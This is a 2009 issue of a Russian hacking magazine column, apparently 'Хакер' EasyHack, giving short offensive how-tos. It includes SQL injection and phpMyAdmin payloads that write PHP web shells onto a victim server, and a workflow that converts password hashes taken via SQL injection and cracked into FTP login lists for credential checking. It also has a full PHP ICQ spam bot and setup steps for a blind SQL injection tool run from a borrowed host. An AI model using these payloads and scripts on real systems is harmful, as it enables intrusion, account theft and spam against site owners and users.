Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 124, АПРЕЛЬ 2009 г.

EasyHack

Леонид «R0id» Стройков (r0id@mail.ru),Андрей «Skvoz» Комаров (komarov@itdefence.ru), x0wl (x0wl.x0wl@gmail.com)

Задача:Залить шелл средствами MySQL

Решение

1. Ищем на Web-сервере директории, доступные для записи. Заветный каталог может присутствовать в этом списке:

/templates_compiled/
/templates_c/
/templates/
/temporary/
/images/
/cache/
/temp/
/files/

2. Учитывая, что мы уже подобрали колонки (допустим, их будет 4), выполняем запрос:

UNION SELECT "<? system($_REQUEST['cmd']); ?>",2,3,4 INTO OUTFILE "/var/www/html/temp/c.php" --

3. Пользуемся шеллом по адресу http://victim.com/temp/c.php.

Задача:Залить шелл средствами PhpMyAdmin

Решение

1. Каким-либо образом получаем доступ к PhpMyAdmin.

2. Для эстетики и удобства создаем новую базу:

CREATE DATABASE 'backdoor'

3. Ищем установочный путь базы

SELECT @@datadir

> C:\AppServ\MySQL\data\

4. Выполняем запрос на создание таблицы:

CREATE TABLE backdoor(
Stack TEXT
) TYPE=MYISaM;
INSERT INTO backdoor(Stack)
VALUES(
'<pre><body bgcolor=silver<? @system($_REQUEST["v"]); ?></body></pre>

5. Отдаем команду на дамп содержимого таблицы в файл

SELECT * into dumpfile 'C:\AppServ\www\s.php' from backdoor;

6. Получаем шелл по адресу victim.com/s.php?v=команда

Задача:Отличить Bind 8 от Bind 9, учитывая, что администратор удалил параметр версии в конфигурационных файлах демона

Решение

Принципиальное отличие – в Bind 9 (начиная с версии 9.1.0) появилась специальная служебная CHAOS-запись «authors». Для проверки этого параметра можно использовать штатные средства операционной системы.

1. linux/freebsd

dig ns.example.com authors.bind chaos txt

2. windows/linux/freebsd

% nslookup -q=txt -class=CHAOS authors.bind. ns.example.com
Server: ns.example.com
Address: 23.23.23.23

authors.bind text = "Bob Halley"
authors.bind text = "Mark Andrews"
authors.bind text = "James Brister"
authors.bind text = "Michael Graff"
authors.bind text = "David Lawrence"
authors.bind text = "Michael Sawyer"
authors.bind text = "Brian Wellington"
authors.bind text = "Andreas Gustafsson"

3. Получен ответ с «пасхальным яйцом» от разработчиков – следовательно, перед нами девятая ветка!Чтобы выявить и предотвратить такое обнаружение, администратор может предпринять следующую сигнатуру:

alert UDP $EXTERNAL any -> $INTERNAL 53 (msg: "IDS480/named-probe-authors";
content: "|07|authors|04|bind"; depth: 32; offset: 12; nocase;)

В ней содержится синтаксис для мониторинга UDP-транспорта по 53 порту, по содержанию, приведенному в тексте запроса, с заданной глубиной поиска.

Задача:Расшифровать обфусцированный эксплоит

Решение

Задача особенно актуальна, потому что таким макаром можно охотиться за новыми образцами сплоитов. В этом плане очень пригодится тулза под названием Malzilla (malzilla.sourceforge.net). Она содержит в себе десятки алгоритмов для дешифровки, среди которых unescape-последовательность, UCS2-кодировка JS и так далее. Итак, порядок действий:

  1. Копируем все вредоносное шифрованное содержимое на вкладку «Download».
  2. Жмем «Send script to Decoder», затем «Run script».
  3. В ответ получаем дешифрованный (или почти дешифрованный) сегментами сорец и линк на подгрузку файла.
  4. Если сделать это в один клик не получилось, играемся с «Misc decoders».

Ресурсы, отслеживающие malware-активность онлайн: malwaredomainlist.com, zeustracker.abuse.ch.

Задача:Отпарсить данные из PasswordPro для использования в FTP-чекере

Решение

Для брута самых разнообразных хешей часто приходится использовать популярную утилу PasswordPro. Прога довольно удобна и отменно работает на забугорных ломанных дедиках :). Проблема лишь в том, что каждый раз парсить вручную результаты брута – уж очень утомительно. Представь, что ты нашел SQL-инъекцию на крупном портале, слил имена и хеши MySQL-юзеров и отправил их на брут в PasswordPro. Брутер с задачей справился, пассы найдены, и было бы неплохо попробовать их на FTP. Вот тут и появляется много лишней работы, а именно - преобразование сбрученных данных из PasswordPro вида «admin:5ba686200919b19f:narym7» в стандартный формат фтп-чекеров вида «ftp://admin:narym7@127.0.0.1». Конечно, можно не полениться и накатать собственный парсер, но зачем изобретать велосипед? Итак, поехали:

1. Первое, что нам нужно сделать, – слить уже готовый парсер «Small parser for passwordpro» от evil_packman'а с нашего DVD :).

2. Теперь экспортируем уже сбрученные акки из PasswordPro в файл first.txt, например:

admin:5ba686200919b19f:narym7
news:5ba686200919b19f:wens6
root:5ba686200919b19f:sawbdv
swin:5ba686200919b19f:zasut4
web:5ba686200919b19f:nfgavr

3. Вспоминаем, установлен ли у нас PHP. Если нет - срочно идем на Гугл и качаем (еще пригодится:)).

4. Созданный ранее файл first.txt (с акками из брутера) кладем в одной директории с парсером. Запускаем скрипт:

C:\php\php C:\parser.php first.txt out.txt 127.0.0.1,

– где first.txt - файл с данными из PasswordPro, out.txt - файл с отпарсенными аккаунтами, а 127.0.0.1 - IP ftp-сервера.

5. На выходе рядом с парсером обнаруживаем файл out.txt следующего содержания:

ftp://admin:narym7@127.0.0.1
ftp://news:wens6@127.0.0.1
ftp://root:sawbdv@127.0.0.1
ftp://swin:zasut4@127.0.0.1
ftp://web:nfgavr@127.0.0.1

Все, теперь берем любой функциональный фтп-чекер и проверяем аккаунты к FTP.

Задача:Написать ICQ-спамер на PHP

Решение

ICQ-спам становится все более актуальным. Это сложно не заметить, особенно, если тебе в асю ежедневно прилетает с десяток сообщений рекламного характера. Большинство качественных продуктов для подобных рассылок стоит денег, поэтому возникает вопрос: а не написать ли простенькую спамилку собственноручно? Например, на всеми нами любимом PHP. Думаешь, нереально? Ошибаешься, и сейчас я тебе это докажу:

1. В своих начинаниях мы будем использовать специальный класс WebIcqLite.class.php, который ты сможешь найти на нашем DVD.

2. Для успешного использования всех функций класса следует приинклудить оный в нашем скрипте –

include('WebIcqLite.class.php');

3. В общем виде, в качестве примера рассмотрим скрипт от Pashkela:

<?php
@set_time_limit(0);
@ini_set("display_errors","1");
ignore_user_abort(1);

include('WebIcqLite.class.php');

$ini = parse_ini_file("icq.ini");

$uin = $ini[uin]; // UIN для бота
$pass = $ini[pass]; // Пароль для UIN бота
$file_uin = $ini[file_uin]; // Файл, где список рассылки
$message = $ini[message]; // Сообщение
$pause = $ini[pause]; // пауза между сообщениями

define('UIN', $uin);
define('PASSWORD', $pass);

$icq = new WebIcqLite();
if(!$icq->connect(UIN, PASSWORD)) {
echo $icq->error;
exit();
}
$file = fopen($file_uin,'r');
while (!feof($file)) {
$buffer = trim(fgets($file));
$icq->send_message($buffer, $message);
echo "Message sent to $buffer \n";
flush();
sleep($pause);
}

$icq->disconnect();
exit();
?>

4. В файле icq.ini располагаются данные по уинам:

uin = 123456 ; UIN, с которого рассылаем
pass = 1234 ; Пароль для UIN, с которого рассылаем
file_uin = uin.txt ; Файл со списком UIN для рассылки
message = test, do not reply this message, bot-test ; Собственно, сама мессага для отсылки
pause = 2 ; Пауза между каждым сообщением, чтобы нас не забанили (в секундах)

5. А в файле uin.txt лежит список уинов, по которым будет проводиться рассылка.Как видишь, все достаточно просто. Тебе остается лишь изменить сорец на свое усмотрение либо накодить новый :).

Задача:Автоматизировать работу с Blind SQL-Injections

Решение

Как ты уже знаешь, Blind SQL-Injections представляют собой слепые SQL-инъекции, работа с которыми максимально затруднена. Если конкретнее, то раскручивать подобные баги ручками - дело неблагодарное. Поэтому, идея автоматизации процесса возникла давно и была успешно реализована в нескольких проектах, одним из которых мы и воспользуемся. Использовать будем скрипт от товарища Grey'я, ибо утила специально заточена под работу со слепыми скул-инъектами и мускулом. Из полезных фич скрипта следует отметить:

  • Вывод стандартной информации: version(), user(), database(), при mysql >= 3 версии.
  • Подбор имен таблиц по встроенной базе имен либо по указанному словарю, при mysql >= 4.1 версии.
  • Подбор названий колонок к указанной таблице по встроенной базе имен колонок либо по указанному словарику, при mysql >= 4.1 версии.
  • Вывод результата указанного запроса, при mysql >= 4.1 версии.
  • Вывод содержимого указанного файла, при наличии соответствующих прав в mysql >= 3 версии.
  • Определение длины результата указанного запроса, особенно полезно при выводе части содержимого какого-либо файла, работает в mysql >= 4.1 версии.
  • Определение имен таблиц и имен БД, в которых они находятся с помощью information_schema.tables в mysql => 5 версии.
  • Определение имен колонок к указанной таблице, находящейся в указанной БД, с помощью information_schema.columns в mysql => 5 версии.
  • Сопоставление имен таблиц и имен БД, в которых они находятся с помощью information_schema.tables в mysql => 5 версии.
  • Поиск данных в файлах; по дефолту из файлов выделяются такие данные, как:
    • переменные, которые могут содержать пароль;
    • переменные, которые могут содержать данные для подключения к СУБД.
    • Вывод стандартной информации в PostgreSQL: version(), current_user(), current_database().
    • Подбор имен таблиц в PostgreSQL.

Теперь рассмотрим алгоритм действий по установке, настройке и запуску утилы:

1. Сливаем архив с тулзой с нашего DVD.

2. Распаковываем архив, проверяем содержимое:

  • main.php - сам скрипт
  • config.php - файл с настройками скрипта
  • lib_and_data/grey_data.php - стандартный словарик с именами таблиц и колонок
  • lib_and_data/function.php - библиотека функций для работы со слепыми sql-инъекциями
  • dic/grey_table_name.txt - стандартный словарик с именами таблиц
  • dic/grey_field_name.txt - дефолтовый словарь с именами колонок

3. Заливаем все вышеперечисленные файлы на наш (или не совсем наш) хост.

4. Выставляем чмод на запись для каталога, в котором находятся скрипты config.php и main.php.

5. Отредактируем config.php. Особое внимание надо уделить основным параметрам:

$host = ''; // Адрес сайта
$port = ; // Порт
$path = ''; // Путь до уязвимого скрипта (начиная с '/')
$vars = ""; // Переменные (или содержимое КУКОВ, если sql инъекция в КУКАХ): вначале неуязвимые переменные с их значениями,
// а затем, в конце, уязвимая переменная, вместе с существующим значением, МОЖЕШЬ указать кавычку, если она нужна
$strend = ''; // Символ комментария ('--+', '/*', '#'), если нужен
$method = ; // (цифра): метод отправки данных
// 0 - POST; инъекция в переменной типа POST
// 1 - GET; инъекция в переменной типа GET
// 2 - GET/COOKIE; инъекция в COOKIE
$type = ; // (0 или 1): тип распознания правильности выполнения sql-запроса:
// 0 - правильность запроса определяется по наличию текста, который должен появляться только при указанном значении уязвимой переменной
// 1 - правильность запроса определяется по отсутствию текста (текста ошибки), которая должна появляться при неправильном выполнении запроса
$text = ''; // Текст, по которому будет определяться правильность выполнения запроса

6. Перейди в браузере по линку http://хост/каталог/main.php.

7. Ждем 30 секунду, при отсутствии каких-либо ошибок - закрываем браузер и надеемся на лучшее.

8. Через несколько часов смотрим результат в файле result.txt.

Кстати! Помни, что время работы скрипта напрямую зависит от ширины канала твоего сервера, а также от нагрузки на атакуемую СУБД.

Задача:Сохранить программу, показываемую по ОРТ

Решение

У всех, кто смотрит передачи на «Первом канале», наверняка, бывает желание сохранить что-нибудь из их репертуара. Но не все знают, что ОРТ выкладывают видео на своем сайте в виде online-flv. Чтобы его сохранить, можно прибегнуть к двум способам:

  1. Воспользоваться сервисом ru.savefrom.net. Это очень просто, поэтому не буду углубляться в подробности.
  2. Вручную. Для этого открываем HTML-код страницы с видео и находим место вставки плеера.
  3. Копируем URL к видео и переходим на него.
  4. Смотрим на адресную строку и видим, что параметром к ней выступает ссылка на файл настроек, передаваемая через адресную строку. Прочитаем этот файл и найдем там нужный URL к flv-файлу.
Содержание
загрузка...
Журнал Хакер #151Журнал Хакер #150Журнал Хакер #149Журнал Хакер #148Журнал Хакер #147Журнал Хакер #146Журнал Хакер #145Журнал Хакер #144Журнал Хакер #143Журнал Хакер #142Журнал Хакер #141Журнал Хакер #140Журнал Хакер #139Журнал Хакер #138Журнал Хакер #137Журнал Хакер #136Журнал Хакер #135Журнал Хакер #134Журнал Хакер #133Журнал Хакер #132Журнал Хакер #131Журнал Хакер #130Журнал Хакер #129Журнал Хакер #128Журнал Хакер #127Журнал Хакер #126Журнал Хакер #125Журнал Хакер #124Журнал Хакер #123Журнал Хакер #122Журнал Хакер #121Журнал Хакер #120Журнал Хакер #119Журнал Хакер #118Журнал Хакер #117Журнал Хакер #116Журнал Хакер #115Журнал Хакер #114Журнал Хакер #113Журнал Хакер #112Журнал Хакер #111Журнал Хакер #110Журнал Хакер #109Журнал Хакер #108Журнал Хакер #107Журнал Хакер #106Журнал Хакер #105Журнал Хакер #104Журнал Хакер #103Журнал Хакер #102Журнал Хакер #101Журнал Хакер #100Журнал Хакер #099Журнал Хакер #098Журнал Хакер #097Журнал Хакер #096Журнал Хакер #095Журнал Хакер #094Журнал Хакер #093Журнал Хакер #092Журнал Хакер #091Журнал Хакер #090Журнал Хакер #089Журнал Хакер #088Журнал Хакер #087Журнал Хакер #086Журнал Хакер #085Журнал Хакер #084Журнал Хакер #083Журнал Хакер #082Журнал Хакер #081Журнал Хакер #080Журнал Хакер #079Журнал Хакер #078Журнал Хакер #077Журнал Хакер #076Журнал Хакер #075Журнал Хакер #074Журнал Хакер #073Журнал Хакер #072Журнал Хакер #071Журнал Хакер #070Журнал Хакер #069Журнал Хакер #068Журнал Хакер #067Журнал Хакер #066Журнал Хакер #065Журнал Хакер #064Журнал Хакер #063Журнал Хакер #062Журнал Хакер #061Журнал Хакер #060Журнал Хакер #059Журнал Хакер #058Журнал Хакер #057Журнал Хакер #056Журнал Хакер #055Журнал Хакер #054Журнал Хакер #053Журнал Хакер #052Журнал Хакер #051Журнал Хакер #050Журнал Хакер #049Журнал Хакер #048Журнал Хакер #047Журнал Хакер #046Журнал Хакер #045Журнал Хакер #044Журнал Хакер #043Журнал Хакер #042Журнал Хакер #041Журнал Хакер #040Журнал Хакер #039Журнал Хакер #038Журнал Хакер #037Журнал Хакер #036Журнал Хакер #035Журнал Хакер #034Журнал Хакер #033Журнал Хакер #032Журнал Хакер #031Журнал Хакер #030Журнал Хакер #029Журнал Хакер #028Журнал Хакер #027Журнал Хакер #026Журнал Хакер #025Журнал Хакер #024Журнал Хакер #023Журнал Хакер #022Журнал Хакер #021Журнал Хакер #020Журнал Хакер #019Журнал Хакер #018Журнал Хакер #017Журнал Хакер #016Журнал Хакер #015Журнал Хакер #014Журнал Хакер #013Журнал Хакер #012Журнал Хакер #011Журнал Хакер #010Журнал Хакер #009Журнал Хакер #008Журнал Хакер #007Журнал Хакер #006Журнал Хакер #005Журнал Хакер #004Журнал Хакер #003Журнал Хакер #002Журнал Хакер #001